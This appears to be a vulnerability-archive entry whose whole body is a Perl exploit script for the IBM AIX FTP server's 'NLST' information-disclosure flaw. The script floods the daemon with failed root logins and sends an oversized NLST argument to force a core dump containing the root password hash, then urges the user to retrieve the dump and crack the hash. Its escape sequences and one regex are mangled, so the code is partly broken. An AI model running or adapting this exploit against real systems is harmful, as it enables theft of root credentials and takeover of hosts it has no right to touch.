Vuln: IBM AIX FTP Server 'NLST' Command Information Disclosure Vulnerability

邰2497

use IO::Socket;
$|=1;
print "--== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ~ =--/n";
print "CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd/n";
print "BY KINGCOPE/n";
print "JULY 2010/n/n";
if ($#ARGV < 1) {
print "USAGE: ./AIXCOREDUMP.PL <target address> <your ip> [username] [password]/n";
print "SAMPLES:/n";
print "YOU HAVE A LOGIN ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25 kcope passwd/n";
print "USE GUEST ACCOUNT - NEEDS WRITE ACCESS IN /PUB ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25/n";
exit;
}
$trgt = $ARGV[0];
$sock = IO::Socket::INET->new(PeerAddr => $trgt,
PeerPort => '21',
Proto    => 'tcp');
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s//./,/gi;                              
if ($ARGV[2] eq "") {
$user = "ftp";
$pass = "c0deb4b3/@roothash.com";
} else {
$user = $ARGV[2];
$passwd = $ARGV[3];
}
$x = <$sock>;
print "*AIX EXPLOIT* REMOTE FTPD: $x/n";
if (fork()) {
for ($k=0;$k<3;$k++) {
print "*AIX EXPLOIT* POLLUTING FTPD***/n";
print "/t$x";
print $sock "USER root/r/n";
$x = <$sock>;
print "/t$x";
print $sock "PASS sexy/r/n";
$x = <$sock>;
print "/t$x";
}
print "*AIX EXPLOIT* ACCESSING FOLDER***/n";
print $sock "USER $user/r/n";
$x = <$sock>;
print "/t$x";
print $sock "PASS $passwd/r/n";
$x = <$sock>;
print "/t$x";
if ($ARGV[2] eq "") {
print "*AIX EXPLOIT* CWD TO PUB***/n";
print $sock "CWD pub/r/n";
$x = <$sock>;
print "/t$x";
}
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "/r/n";
$x = <$sock>;
print "/t$x";
print "*AIX EXPLOIT* TRIGGERING COREDUMP***/n";
print $sock "NLST ~" . "A" x 5000 . "/r/n";
$x = <$sock>;
while(<$sock>) {
print;
}
print "*AIX EXPLOIT* (SUCCESS)***/n*AIX EXPLOIT* NOW RETRIEVE THE core FILE WITH YOUR FAVOURITE CLIENT AND LOOKUP THE R00T HASH++CRACKIT!***/n";
exit;
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!/n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);  
}
## CHEERIO!